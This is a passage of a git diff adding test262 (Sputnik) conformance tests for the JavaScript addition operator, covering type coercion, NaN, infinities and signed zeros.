+ * @path ch11/11.6/11.6.1/S11.6.1_A3.1_T1.1.js
+ * @description Type(Primitive(x)) and Type(Primitive(y)) vary between primitive boolean and Boolean object
+ */
+
+//CHECK#1
+if (true + true !== 2) {
+ $ERROR('#1: true + true === 2. Actual: ' + (true + true));
+}
+
+//CHECK#2
+if (new Boolean(true) + true !== 2) {
+ $ERROR('#2: new Boolean(true) + true === 2. Actual: ' + (new Boolean(true) + true));
+}
+
+//CHECK#3
+if (true + new Boolean(true) !== 2) {
+ $ERROR('#3: true + new Boolean(true) === 2. Actual: ' + (true + new Boolean(true)));
+}
+
+//CHECK#4
+if (new Boolean(true) + new Boolean(true) !== 2) {
+ $ERROR('#4: new Boolean(true) + new Boolean(true) === 2. Actual: ' + (new Boolean(true) + new Boolean(true)));
+}
+
diff --git a/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A3.1_T1.2.js b/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A3.1_T1.2.js
new file mode 100644
index 000000000..f5fccb105
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A3.1_T1.2.js
@@ -0,0 +1,31 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(Primitive(x)) is not String and Type(Primitive(y)) is not String, then operator x + y returns ToNumber(x) + ToNumber(y)
+ *
+ * @path ch11/11.6/11.6.1/S11.6.1_A3.1_T1.2.js
+ * @description Type(Primitive(x)) and Type(Primitive(y)) vary between primitive number and Number object
+ */
+
+//CHECK#1
+if (1 + 1 !== 2) {
+ $ERROR('#1: 1 + 1 === 2. Actual: ' + (1 + 1));
+}
+
+//CHECK#2
+if (new Number(1) + 1 !== 2) {
+ $ERROR('#2: new Number(1) + 1 === 2. Actual: ' + (new Number(1) + 1));
+}
+
+//CHECK#3
+if (1 + new Number(1) !== 2) {
+ $ERROR('#3: 1 + new Number(1) === 2. Actual: ' + (1 + new Number(1)));
+}
+
+//CHECK#4
+if (new Number(1) + new Number(1) !== 2) {
+ $ERROR('#4: new Number(1) + new Number(1) === 2. Actual: ' + (new Number(1) + new Number(1)));
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A3.1_T1.3.js b/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A3.1_T1.3.js
new file mode 100644
index 000000000..c9d52e593
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A3.1_T1.3.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(Primitive(x)) is not String and Type(Primitive(y)) is not String, then operator x + y returns ToNumber(x) + ToNumber(y)
+ *
+ * @path ch11/11.6/11.6.1/S11.6.1_A3.1_T1.3.js
+ * @description Type(Primitive(x)) and Type(Primitive(y)) vary between Null and Undefined
+ */
+
+//CHECK#1
+if (isNaN(null + undefined) !== true) {
+ $ERROR('#1: null + undefined === Not-a-Number. Actual: ' + (null + undefined));
+}
+
+//CHECK#2
+if (isNaN(undefined + null) !== true) {
+ $ERROR('#2: undefined + null === Not-a-Number. Actual: ' + (undefined + null));
+}
+
+//CHECK#3
+if (isNaN(undefined + undefined) !== true) {
+ $ERROR('#3: undefined + undefined === Not-a-Number. Actual: ' + (undefined + undefined));
+}
+
+//CHECK#4
+if (null + null !== 0) {
+ $ERROR('#4: null + null === 0. Actual: ' + (null + null));
+}
+
diff --git a/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A3.1_T2.1.js b/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A3.1_T2.1.js
new file mode 100644
index 000000000..e5e3ee261
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A3.1_T2.1.js
@@ -0,0 +1,50 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(Primitive(x)) is not String and Type(Primitive(y)) is not String, then operator x + y returns ToNumber(x) + ToNumber(y)
+ *
+ * @path ch11/11.6/11.6.1/S11.6.1_A3.1_T2.1.js
+ * @description Type(Primitive(x)) is different from Type(Primitive(y)) and both types vary between Number (primitive or object) or Boolean (primitive and object)
+ */
+
+//CHECK#1
+if (true + 1 !== 2) {
+ $ERROR('#1: true + 1 === 2. Actual: ' + (true + 1));
+}
+
+//CHECK#2
+if (1 + true !== 2) {
+ $ERROR('#2: 1 + true === 2. Actual: ' + (1 + true));
+}
+
+//CHECK#3
+if (new Boolean(true) + 1 !== 2) {
+ $ERROR('#3: new Boolean(true) + 1 === 2. Actual: ' + (new Boolean(true) + 1));
+}
+
+//CHECK#4
+if (1 + new Boolean(true) !== 2) {
+ $ERROR('#4: 1 + new Boolean(true) === 2. Actual: ' + (1 + new Boolean(true)));
+}
+
+//CHECK#5
+if (true + new Number(1) !== 2) {
+ $ERROR('#5: true + new Number(1) === 2. Actual: ' + (true + new Number(1)));
+}
+
+//CHECK#6
+if (new Number(1) + true !== 2) {
+ $ERROR('#6: new Number(1) + true === 2. Actual: ' + (new Number(1) + true));
+}
+
+//CHECK#7
+if (new Boolean(true) + new Number(1) !== 2) {
+ $ERROR('#7: new Boolean(true) + new Number(1) === 2. Actual: ' + (new Boolean(true) + new Number(1)));
+}
+
+//CHECK#8
+if (new Number(1) + new Boolean(true) !== 2) {
+ $ERROR('#8: new Number(1) + new Boolean(true) === 2. Actual: ' + (new Number(1) + new Boolean(true)));
+}
+
diff --git a/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A3.1_T2.2.js b/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A3.1_T2.2.js
new file mode 100644
index 000000000..ec9dff926
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A3.1_T2.2.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(Primitive(x)) is not String and Type(Primitive(y)) is not String, then operator x + y returns ToNumber(x) + ToNumber(y)
+ *
+ * @path ch11/11.6/11.6.1/S11.6.1_A3.1_T2.2.js
+ * @description Type(Primitive(x)) is different from Type(Primitive(y)) and both types vary between Number (primitive or object) and Null
+ */
+
+//CHECK#1
+if (1 + null !== 1) {
+ $ERROR('#1: 1 + null === 1. Actual: ' + (1 + null));
+}
+
+//CHECK#2
+if (null + 1 !== 1) {
+ $ERROR('#2: null + 1 === 1. Actual: ' + (null + 1));
+}
+
+//CHECK#3
+if (new Number(1) + null !== 1) {
+ $ERROR('#3: new Number(1) + null === 1. Actual: ' + (new Number(1) + null));
+}
+
+//CHECK#4
+if (null + new Number(1) !== 1) {
+ $ERROR('#4: null + new Number(1) === 1. Actual: ' + (null + new Number(1)));
+}
+
diff --git a/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A3.1_T2.3.js b/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A3.1_T2.3.js
new file mode 100644
index 000000000..dac10c083
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A3.1_T2.3.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(Primitive(x)) is not String and Type(Primitive(y)) is not String, then operator x + y returns ToNumber(x) + ToNumber(y)
+ *
+ * @path ch11/11.6/11.6.1/S11.6.1_A3.1_T2.3.js
+ * @description Type(Primitive(x)) is different from Type(Primitive(y)) and both types vary between Number (primitive or object) and Undefined
+ */
+
+//CHECK#1
+if (isNaN(1 + undefined) !== true) {
+ $ERROR('#1: 1 + undefined === Not-a-Number. Actual: ' + (1 + undefined));
+}
+
+//CHECK#2
+if (isNaN(undefined + 1) !== true) {
+ $ERROR('#2: undefined + 1 === Not-a-Number. Actual: ' + (undefined + 1));
+}
+
+//CHECK#3
+if (isNaN(new Number(1) + undefined) !== true) {
+ $ERROR('#3: new Number(1) + undefined === Not-a-Number. Actual: ' + (new Number(1) + undefined));
+}
+
+//CHECK#4
+if (isNaN(undefined + new Number(1)) !== true) {
+ $ERROR('#4: undefined + new Number(1) === Not-a-Number. Actual: ' + (undefined + new Number(1)));
+}
+
diff --git a/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A3.1_T2.4.js b/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A3.1_T2.4.js
new file mode 100644
index 000000000..a2d56e2f7
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A3.1_T2.4.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(Primitive(x)) is not String and Type(Primitive(y)) is not String, then operator x + y returns ToNumber(x) + ToNumber(y)
+ *
+ * @path ch11/11.6/11.6.1/S11.6.1_A3.1_T2.4.js
+ * @description Type(Primitive(x)) is different from Type(Primitive(y)) and both types vary between Boolean (primitive or object) and Undefined
+ */
+
+//CHECK#1
+if (isNaN(true + undefined) !== true) {
+ $ERROR('#1: true + undefined === Not-a-Number. Actual: ' + (true + undefined));
+}
+
+//CHECK#2
+if (isNaN(undefined + true) !== true) {
+ $ERROR('#2: undefined + true === Not-a-Number. Actual: ' + (undefined + true));
+}
+
+//CHECK#3
+if (isNaN(new Boolean(true) + undefined) !== true) {
+ $ERROR('#3: new Boolean(true) + undefined === Not-a-Number. Actual: ' + (new Boolean(true) + undefined));
+}
+
+//CHECK#4
+if (isNaN(undefined + new Boolean(true)) !== true) {
+ $ERROR('#4: undefined + new Boolean(true) === Not-a-Number. Actual: ' + (undefined + new Boolean(true)));
+}
+
diff --git a/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A3.1_T2.5.js b/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A3.1_T2.5.js
new file mode 100644
index 000000000..a3cfe0523
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A3.1_T2.5.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(Primitive(x)) is not String and Type(Primitive(y)) is not String, then operator x + y returns ToNumber(x) + ToNumber(y)
+ *
+ * @path ch11/11.6/11.6.1/S11.6.1_A3.1_T2.5.js
+ * @description Type(Primitive(x)) is different from Type(Primitive(y)) and both types vary between Boolean (primitive or object) and Null
+ */
+
+//CHECK#1
+if (true + null !== 1) {
+ $ERROR('#1: true + null === 1. Actual: ' + (true + null));
+}
+
+//CHECK#2
+if (null + true !== 1) {
+ $ERROR('#2: null + true === 1. Actual: ' + (null + true));
+}
+
+//CHECK#3
+if (new Boolean(true) + null !== 1) {
+ $ERROR('#3: new Boolean(true) + null === 1. Actual: ' + (new Boolean(true) + null));
+}
+
+//CHECK#4
+if (null + new Boolean(true) !== 1) {
+ $ERROR('#4: null + new Boolean(true) === 1. Actual: ' + (null + new Boolean(true)));
+}
+
diff --git a/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A3.2_T1.1.js b/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A3.2_T1.1.js
new file mode 100644
index 000000000..f2f1f8724
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A3.2_T1.1.js
@@ -0,0 +1,40 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(Primitive(x)) is String or Type(Primitive(y)) is String, then operator x + y returns the result of concatenating ToString(x) followed by ToString(y)
+ *
+ * @path ch11/11.6/11.6.1/S11.6.1_A3.2_T1.1.js
+ * @description Type(Primitive(x)) and Type(Primitive(y)) vary between primitive string and String object
+ */
+
+//CHECK#1
+if ("1" + "1" !== "11") {
+ $ERROR('#1: "1" + "1" === "11". Actual: ' + ("1" + "1"));
+}
+
+//CHECK#2
+if (new String("1") + "1" !== "11") {
+ $ERROR('#2: new String("1") + "1" === "11". Actual: ' + (new String("1") + "1"));
+}
+
+//CHECK#3
+if ("1" + new String("1") !== "11") {
+ $ERROR('#3: "1" + new String("1") === "11". Actual: ' + ("1" + new String("1")));
+}
+
+//CHECK#4
+if (new String("1") + new String("1") !== "11") {
+ $ERROR('#4: new String("1") + new String("1") === "11". Actual: ' + (new String("1") + new String("1")));
+}
+
+//CHECK#5
+if ("x" + "1" !=="x1") {
+ $ERROR('#5: "x" + "1" === "x1". Actual: ' + ("x" + "1"));
+}
+
+//CHECK#6
+if ("1" + "x" !== "1x") {
+ $ERROR('#6: "1" + "x" === "1x". Actual: ' + ("1" + "x"));
+}
+
diff --git a/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A3.2_T1.2.js b/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A3.2_T1.2.js
new file mode 100644
index 000000000..422ed6b53
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A3.2_T1.2.js
@@ -0,0 +1,32 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(Primitive(x)) is String or Type(Primitive(y)) is String, then operator x + y returns the result of concatenating ToString(x) followed by ToString(y)
+ *
+ * @path ch11/11.6/11.6.1/S11.6.1_A3.2_T1.2.js
+ * @description Type(Primitive(x)) and Type(Primitive(y)) vary between Object object and Function object
+ */
+
+//CHECK#1
+if (({} + function(){return 1}) !== ({}.toString() + function(){return 1}.toString())) {
+ $ERROR('#1: ({} + function(){return 1}) === ({}.toString() + function(){return 1}.toString()). Actual: ' + (({} + function(){return 1})));
+}
+
+//CHECK#2
+if ((function(){return 1} + {}) !== (function(){return 1}.toString() + {}.toString())) {
+ $ERROR('#2: (function(){return 1} + {}) === (function(){return 1}.toString() + {}.toString()). Actual: ' + ((function(){return 1} + {})));
+}
+
+//CHECK#3
+if ((function(){return 1} + function(){return 1}) !== (function(){return 1}.toString() + function(){return 1}.toString())) {
+ $ERROR('#3: (function(){return 1} + function(){return 1}) === (function(){return 1}.toString() + function(){return 1}.toString()). Actual: ' + ((function(){return 1} + function(){return 1})));
+}
+
+//CHECK#4
+if (({} + {}) !== ({}.toString() + {}.toString())) {
+ $ERROR('#4: ({} + {}) === ({}.toString() + {}.toString()). Actual: ' + (({} + {})));
+}
+
+
+
diff --git a/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A3.2_T2.1.js b/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A3.2_T2.1.js
new file mode 100644
index 000000000..461a14c1a
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A3.2_T2.1.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(Primitive(x)) is String or Type(Primitive(y)) is String, then operator x + y returns the result of concatenating ToString(x) followed by ToString(y)
+ *
+ * @path ch11/11.6/11.6.1/S11.6.1_A3.2_T2.1.js
+ * @description Type(Primitive(x)) is different from Type(Primitive(y)) and both types vary between Number (primitive or object) and String (primitive and object)
+ */
+
+//CHECK#1
+if ("1" + 1 !== "11") {
+ $ERROR('#1: "1" + 1 === "11". Actual: ' + ("1" + 1));
+}
+
+//CHECK#2
+if (1 + "1" !== "11") {
+ $ERROR('#2: 1 + "1" === "11". Actual: ' + (1 + "1"));
+}
+
+//CHECK#3
+if (new String("1") + 1 !== "11") {
+ $ERROR('#3: new String("1") + 1 === "11". Actual: ' + (new String("1") + 1));
+}
+
+//CHECK#4
+if (1 + new String("1") !== "11") {
+ $ERROR('#4: 1 + new String("1") === "11". Actual: ' + (1 + new String("1")));
+}
+
+//CHECK#5
+if ("1" + new Number(1) !== "11") {
+ $ERROR('#5: "1" + new Number(1) === "11". Actual: ' + ("1" + new Number(1)));
+}
+
+//CHECK#6
+if (new Number(1) + "1" !== "11") {
+ $ERROR('#6: new Number(1) + "1" === "11". Actual: ' + (new Number(1) + "1"));
+}
+
+//CHECK#7
+if (new String("1") + new Number(1) !== "11") {
+ $ERROR('#7: new String("1") + new Number(1) === "11". Actual: ' + (new String("1") + new Number(1)));
+}
+
+//CHECK#8
+if (new Number(1) + new String("1") !== "11") {
+ $ERROR('#8: new Number(1) + new String("1") === "11". Actual: ' + (new Number(1) + new String("1")));
+}
+
+//CHECK#9
+if ("x" + 1 !=="x1") {
+ $ERROR('#9: "x" + 1 === "x1". Actual: ' + ("x" + 1));
+}
+
+//CHECK#10
+if (1 + "x" !== "1x") {
+ $ERROR('#10: 1 + "x" === "1x". Actual: ' + (1 + "x"));
+}
+
diff --git a/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A3.2_T2.2.js b/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A3.2_T2.2.js
new file mode 100644
index 000000000..5f4a4075a
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A3.2_T2.2.js
@@ -0,0 +1,50 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(Primitive(x)) is String or Type(Primitive(y)) is String, then operator x + y returns the result of concatenating ToString(x) followed by ToString(y)
+ *
+ * @path ch11/11.6/11.6.1/S11.6.1_A3.2_T2.2.js
+ * @description Type(Primitive(x)) is different from Type(Primitive(y)) and both types vary between String (primitive or object) and Boolean (primitive and object)
+ */
+
+//CHECK#1
+if (true + "1" !== "true1") {
+ $ERROR('#1: true + "1" === "true1". Actual: ' + (true + "1"));
+}
+
+//CHECK#2
+if ("1" + true !== "1true") {
+ $ERROR('#2: "1" + true === "1true". Actual: ' + ("1" + true));
+}
+
+//CHECK#3
+if (new Boolean(true) + "1" !== "true1") {
+ $ERROR('#3: new Boolean(true) + "1" === "true1". Actual: ' + (new Boolean(true) + "1"));
+}
+
+//CHECK#4
+if ("1" + new Boolean(true) !== "1true") {
+ $ERROR('#4: "1" + new Boolean(true) === "1true". Actual: ' + ("1" + new Boolean(true)));
+}
+
+//CHECK#5
+if (true + new String("1") !== "true1") {
+ $ERROR('#5: true + new String("1") === "true1". Actual: ' + (true + new String("1")));
+}
+
+//CHECK#6
+if (new String("1") + true !== "1true") {
+ $ERROR('#6: new String("1") + true === "1true". Actual: ' + (new String("1") + true));
+}
+
+//CHECK#7
+if (new Boolean(true) + new String("1") !== "true1") {
+ $ERROR('#7: new Boolean(true) + new String("1") === "true1". Actual: ' + (new Boolean(true) + new String("1")));
+}
+
+//CHECK#8
+if (new String("1") + new Boolean(true) !== "1true") {
+ $ERROR('#8: new String("1") + new Boolean(true) === "1true". Actual: ' + (new String("1") + new Boolean(true)));
+}
+
diff --git a/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A3.2_T2.3.js b/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A3.2_T2.3.js
new file mode 100644
index 000000000..a097ed83b
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A3.2_T2.3.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(Primitive(x)) is String or Type(Primitive(y)) is String, then operator x + y returns the result of concatenating ToString(x) followed by ToString(y)
+ *
+ * @path ch11/11.6/11.6.1/S11.6.1_A3.2_T2.3.js
+ * @description Type(Primitive(x)) is different from Type(Primitive(y)) and both types vary between String (primitive or object) and Undefined
+ */
+
+//CHECK#1
+if ("1" + undefined !== "1undefined") {
+ $ERROR('#1: "1" + undefined === "1undefined". Actual: ' + ("1" + undefined));
+}
+
+//CHECK#2
+if (undefined + "1" !== "undefined1") {
+ $ERROR('#2: undefined + "1" === "undefined1". Actual: ' + (undefined + "1"));
+}
+
+//CHECK#3
+if (new String("1") + undefined !== "1undefined") {
+ $ERROR('#3: new String("1") + undefined === "1undefined". Actual: ' + (new String("1") + undefined));
+}
+
+//CHECK#4
+if (undefined + new String("1") !== "undefined1") {
+ $ERROR('#4: undefined + new String("1") === "undefined1". Actual: ' + (undefined + new String("1")));
+}
+
diff --git a/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A3.2_T2.4.js b/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A3.2_T2.4.js
new file mode 100644
index 000000000..a957677b7
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A3.2_T2.4.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(Primitive(x)) is String or Type(Primitive(y)) is String, then operator x + y returns the result of concatenating ToString(x) followed by ToString(y)
+ *
+ * @path ch11/11.6/11.6.1/S11.6.1_A3.2_T2.4.js
+ * @description Type(Primitive(x)) is different from Type(Primitive(y)) and both types vary between String (primitive or object) and Null
+ */
+
+//CHECK#1
+if ("1" + null !== "1null") {
+ $ERROR('#1: "1" + null === "1null". Actual: ' + ("1" + null));
+}
+
+//CHECK#2
+if (null + "1" !== "null1") {
+ $ERROR('#2: null + "1" === "null1". Actual: ' + (null + "1"));
+}
+
+//CHECK#3
+if (new String("1") + null !== "1null") {
+ $ERROR('#3: new String("1") + null === "1null". Actual: ' + (new String("1") + null));
+}
+
+//CHECK#4
+if (null + new String("1") !== "null1") {
+ $ERROR('#4: null + new String("1") === "null1". Actual: ' + (null + new String("1")));
+}
+
diff --git a/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A4_T1.js b/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A4_T1.js
new file mode 100644
index 000000000..8a8ac37da
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A4_T1.js
@@ -0,0 +1,41 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The result of an addition is determined using the rules of IEEE 754 double-precision arithmetics
+ *
+ * @path ch11/11.6/11.6.1/S11.6.1_A4_T1.js
+ * @description If either operand is NaN, the result is NaN
+ */
+
+//CHECK#1
+if (isNaN(Number.NaN + 1) !== true ) {
+ $ERROR('#1: NaN + 1 === Not-a-Number. Actual: ' + (NaN + 1));
+}
+
+//CHECK#2
+if (isNaN(1 + Number.NaN) !== true ) {
+ $ERROR('#2: 1 + NaN === Not-a-Number. Actual: ' + (1 + NaN));
+}
+
+//CHECK#3
+if (isNaN(Number.NaN + Number.POSITIVE_INFINITY) !== true ) {
+ $ERROR('#3: NaN + Infinity === Not-a-Number. Actual: ' + (NaN + Infinity));
+}
+
+//CHECK#4
+if (isNaN(Number.POSITIVE_INFINITY + Number.NaN) !== true ) {
+ $ERROR('#4: Infinity + NaN === Not-a-Number. Actual: ' + (Infinity + NaN));
+}
+
+//CHECK#5
+if (isNaN(Number.NaN + Number.NEGATIVE_INFINITY) !== true ) {
+ $ERROR('#5: NaN + Infinity === Not-a-Number. Actual: ' + (NaN + Infinity));
+}
+
+//CHECK#6
+if (isNaN(Number.NEGATIVE_INFINITY + Number.NaN) !== true ) {
+ $ERROR('#6: Infinity + NaN === Not-a-Number. Actual: ' + (Infinity + NaN));
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A4_T2.js b/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A4_T2.js
new file mode 100644
index 000000000..6e6452567
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A4_T2.js
@@ -0,0 +1,23 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The result of an addition is determined using the rules of IEEE 754 double-precision arithmetics
+ *
+ * @path ch11/11.6/11.6.1/S11.6.1_A4_T2.js
+ * @description The sum of two infinities of opposite sign is NaN
+ */
+
+//CHECK#1
+if (isNaN(Number.POSITIVE_INFINITY + Number.NEGATIVE_INFINITY) !== true ) {
+ $ERROR('#1: Infinity + -Infinity === Not-a-Number. Actual: ' + (Infinity + -Infinity));
+}
+
+//CHECK#2
+if (isNaN(Number.NEGATIVE_INFINITY + Number.POSITIVE_INFINITY) !== true ) {
+ $ERROR('#2: -Infinity + Infinity === Not-a-Number. Actual: ' + (-Infinity + Infinity));
+}
+
+
+
+
diff --git a/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A4_T3.js b/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A4_T3.js
new file mode 100644
index 000000000..d434e6c23
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A4_T3.js
@@ -0,0 +1,23 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The result of an addition is determined using the rules of IEEE 754 double-precision arithmetics
+ *
+ * @path ch11/11.6/11.6.1/S11.6.1_A4_T3.js
+ * @description The sum of two infinities of the same sign is the infinity of that sign
+ */
+
+//CHECK#1
+if (Number.POSITIVE_INFINITY + Number.POSITIVE_INFINITY !== Number.POSITIVE_INFINITY ) {
+ $ERROR('#1: Infinity + Infinity === Infinity. Actual: ' + (Infinity + Infinity));
+}
+
+//CHECK#2
+if (Number.NEGATIVE_INFINITY + Number.NEGATIVE_INFINITY !== Number.NEGATIVE_INFINITY ) {
+ $ERROR('#2: -Infinity + -Infinity === -Infinity. Actual: ' + (-Infinity + -Infinity));
+}
+
+
+
+
diff --git a/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A4_T4.js b/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A4_T4.js
new file mode 100644
index 000000000..4fd4a6f56
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A4_T4.js
@@ -0,0 +1,53 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The result of an addition is determined using the rules of IEEE 754 double-precision arithmetics
+ *
+ * @path ch11/11.6/11.6.1/S11.6.1_A4_T4.js
+ * @description The sum of an infinity and a finite value is equal to the infinite operand
+ */
+
+//CHECK#1
+if (Number.POSITIVE_INFINITY + 1 !== Number.POSITIVE_INFINITY ) {
+ $ERROR('#1: Infinity + 1 === Infinity. Actual: ' + (Infinity + 1));
+}
+
+//CHECK#2
+if (-1 + Number.POSITIVE_INFINITY !== Number.POSITIVE_INFINITY ) {
+ $ERROR('#2: -1 + Infinity === Infinity. Actual: ' + (-1 + Infinity));
+}
+
+//CHECK#3
+if (Number.NEGATIVE_INFINITY + 1 !== Number.NEGATIVE_INFINITY ) {
+ $ERROR('#3: -Infinity + 1 === -Infinity. Actual: ' + (-Infinity + 1));
+}
+
+//CHECK#4
+if (-1 + Number.NEGATIVE_INFINITY !== Number.NEGATIVE_INFINITY ) {
+ $ERROR('#4: -1 + -Infinity === -Infinity. Actual: ' + (-1 + -Infinity));
+}
+
+//CHECK#5
+if (Number.POSITIVE_INFINITY + Number.MAX_VALUE !== Number.POSITIVE_INFINITY ) {
+ $ERROR('#5: Infinity + Number.MAX_VALUE === Infinity. Actual: ' + (Infinity + Number.MAX_VALUE));
+}
+
+//CHECK#6
+if (-Number.MAX_VALUE + Number.POSITIVE_INFINITY !== Number.POSITIVE_INFINITY ) {
+ $ERROR('#6: -Number.MAX_VALUE + Infinity === Infinity. Actual: ' + (-Number.MAX_VALUE + Infinity));
+}
+
+//CHECK#7
+if (Number.NEGATIVE_INFINITY + Number.MAX_VALUE !== Number.NEGATIVE_INFINITY ) {
+ $ERROR('#7: -Infinity + Number.MAX_VALUE === -Infinity. Actual: ' + (-Infinity + Number.MAX_VALUE));
+}
+
+//CHECK#8
+if (-Number.MAX_VALUE + Number.NEGATIVE_INFINITY !== Number.NEGATIVE_INFINITY ) {
+ $ERROR('#8: -Number.MAX_VALUE + -Infinity === -Infinity. Actual: ' + (-Number.MAX_VALUE + -Infinity));
+}
+
+
+
+
diff --git a/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A4_T5.js b/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A4_T5.js
new file mode 100644
index 000000000..3ae18550a
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A4_T5.js
@@ -0,0 +1,46 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The result of an addition is determined using the rules of IEEE 754 double-precision arithmetics
+ *
+ * @path ch11/11.6/11.6.1/S11.6.1_A4_T5.js
+ * @description The sum of two negative zeros is -0. The sum of two positive zeros, or of two zeros of opposite sign is +0
+ */
+
+//CHECK#1
+if (-0 + -0 !== -0 ) {
+ $ERROR('#1.1: -0 + -0 === 0. Actual: ' + (-0 + -0));
+} else {
+ if (1 / (-0 + -0) !== Number.NEGATIVE_INFINITY) {
+ $ERROR('#1.1: -0 + -0 === - 0. Actual: +0');
+ }
+}
+
+//CHECK#2
+if (0 + -0 !== 0 ) {
+ $ERROR('#2.1: 0 + -0 === 0. Actual: ' + (0 + -0));
+} else {
+ if (1 / (0 + -0) !== Number.POSITIVE_INFINITY) {
+ $ERROR('#2.2: 0 + -0 === + 0. Actual: -0');
+ }
+}
+
+//CHECK#3
+if (-0 + 0 !== 0 ) {
+ $ERROR('#3.1: -0 + 0 === 0. Actual: ' + (-0 + 0));
+} else {
